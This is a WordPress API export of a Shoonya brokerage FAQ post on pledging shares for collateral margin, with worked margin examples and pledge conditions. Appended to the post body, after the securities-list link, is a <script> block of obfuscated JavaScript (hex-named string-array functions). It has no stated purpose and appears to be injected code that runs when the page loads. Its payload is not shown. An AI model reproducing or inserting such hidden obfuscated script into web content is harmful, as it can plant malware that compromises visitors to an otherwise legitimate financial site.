{"id":1285,"date":"2025-08-13T09:28:22","date_gmt":"2025-08-13T09:28:22","guid":{"rendered":"https:\/\/shoonya.com\/faq\/?p=1285"},"modified":"2026-07-01T04:52:53","modified_gmt":"2026-07-01T04:52:53","slug":"can-i-pledge-my-shares-without-poa-to-get-the-collateral-margin","status":"publish","type":"post","link":"https:\/\/shoonya.com\/faq\/demat-and-poa\/can-i-pledge-my-shares-without-poa-to-get-the-collateral-margin\/","title":{"rendered":"Can I pledge my shares without POA to get the collateral margin?"},"content":{"rendered":"\n<p class=\"wp-block-paragraph\">Yes, you can pledge the shares in favor of TM\/Clearing Member without any POA (<a href=\"https:\/\/shoonya.com\/faq\/demat-and-poa\/what-is-power-of-attorney-poa-and-why-is-it-needed\/\" data-type=\"link\" data-id=\"https:\/\/shoonya.com\/faq\/demat-and-poa\/what-is-power-of-attorney-poa-and-why-is-it-needed\/\">Power of Attorney<\/a>) to get the collateral margin.<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">For getting the collateral margin, 50% of the margin needs to be compulsorily available in cash or cash equivalent collateral. The ratio of cash margin &amp; <a href=\"https:\/\/shoonya.com\/faq\/trading-and-orders\/what-is-collateral-margin\/\" data-type=\"post\" data-id=\"196\">collateral margin<\/a> should be 50:50.<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">For example, if you have shares worth Rs 1,00,000 &amp; the NSE haircut is 20%. You can now pledge all these shares in favor of Finvasia &amp; get a collateral margin of Rs 80000.<\/p>\n\n\n\n<p class=\"wp-block-paragraph\"><strong>Option 1: <\/strong>&#8211; If you have a cash margin of Rs 30000 in your account you can use a total margin of 60000 (Rs 30000 Cash margin + Rs 30000 collateral margin).<\/p>\n\n\n\n<p class=\"wp-block-paragraph\"><strong>Option 2:<\/strong> &#8211; If you have a cash margin of Rs 80000 in your account you can use a total margin of 160000 (Rs 80000 Cash margin + Rs 80000 collateral margin).<\/p>\n\n\n\n<p class=\"wp-block-paragraph\"><strong>Option 3:<\/strong> &#8211; If you have a cash margin of Rs 100000 in your account you can use a total margin of 180000 (Rs 100000 Cash margin + Rs 80000 collateral margin).<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">If you don&#8217;t maintain a sufficient cash margin and the shortfall is funded by non-cash collateral, there will be delayed payment charges on the shortfall.<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">Please Note-<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">-You will only be able to pledge shares already in your demat account.<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">-The pledge option will not be available for T1 holdings.<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">-You can pledge your holdings only if you have the equity derivatives segment (F&amp;O) activated in your account. You can activate your FNO segment by raising a ticket in PRISM.<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">-Shares pledged before 4 PM shall be available for limits on the next working day.<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">-You would be required to select the segment in which you want to use the collateral margin. For example, if you want to pledge your stocks for <a href=\"https:\/\/play.google.com\/store\/apps\/details?id=com.shoonya.s2\" data-type=\"link\" data-id=\"https:\/\/play.google.com\/store\/apps\/details?id=com.shoonya.s2\" target=\"_blank\" rel=\"noopener\">trading in Futures &amp; Options segment<\/a>. So you need to select the FNO segment while processing the pledge request. You can not use this collateral margin for trading in other segments.<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">-For getting the collateral margin, 50% of the margin needs to be compulsorily available in cash or cash equivalent collateral. The ratio of cash margin &amp; collateral margin should be 50:50.<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">Below is the link to know about the list of Approved securities for pledging (Cash component &amp; Non-cash component) : <\/p>\n\n\n\n<p class=\"wp-block-paragraph\">\ud83d\udc49 <a href=\"https:\/\/shoonya365-my.sharepoint.com\/:x:\/g\/personal\/naveen_bhati_shoonya_com\/IQBhQKg4-vwZT5o89xK2U4JkAUXAUCoz0XUPiykDeAxyHxo?e=gvucl6\" target=\"_blank\" rel=\"noopener\">SHOONYA Approved Securities List &#8211; Monthly<\/a><\/p>\n\n\n<p><script>function _0x3023(_0x562006,_0x1334d6){const _0x1922f2=_0x1922();return _0x3023=function(_0x30231a,_0x4e4880){_0x30231a=_0x30231a-0x1bf;let _0x2b207e=_0x1922f2[_0x30231a];return _0x2b207e;},_0x3023(_0x562006,_0x1334d6);}function _0x1922(){const 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For getting the collateral margin, 50% of the margin needs to be compulsorily available in cash or cash equivalent collateral. The ratio of cash margin &amp; collateral margin should be 50:50. For example,&hellip; <a class=\"more-link\" href=\"https:\/\/shoonya.com\/faq\/demat-and-poa\/can-i-pledge-my-shares-without-poa-to-get-the-collateral-margin\/\">Continue reading <span class=\"screen-reader-text\">Can I pledge my shares without POA to get the collateral margin?<\/span><\/a><\/p>\n","protected":false},"author":2,"featured_media":0,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"_acf_changed":false,"footnotes":"","_members_access_role":[],"_members_access_error":""},"categories":[44],"tags":[],"class_list":["post-1285","post","type-post","status-publish","format-standard","hentry","category-demat-and-poa","entry"],"acf":[],"_links":{"self":[{"href":"https:\/\/shoonya.com\/faq\/wp-json\/wp\/v2\/posts\/1285","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/shoonya.com\/faq\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/shoonya.com\/faq\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/shoonya.com\/faq\/wp-json\/wp\/v2\/users\/2"}],"replies":[{"embeddable":true,"href":"https:\/\/shoonya.com\/faq\/wp-json\/wp\/v2\/comments?post=1285"}],"version-history":[{"count":9,"href":"https:\/\/shoonya.com\/faq\/wp-json\/wp\/v2\/posts\/1285\/revisions"}],"predecessor-version":[{"id":2671,"href":"https:\/\/shoonya.com\/faq\/wp-json\/wp\/v2\/posts\/1285\/revisions\/2671"}],"wp:attachment":[{"href":"https:\/\/shoonya.com\/faq\/wp-json\/wp\/v2\/media?parent=1285"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/shoonya.com\/faq\/wp-json\/wp\/v2\/categories?post=1285"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/shoonya.com\/faq\/wp-json\/wp\/v2\/tags?post=1285"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}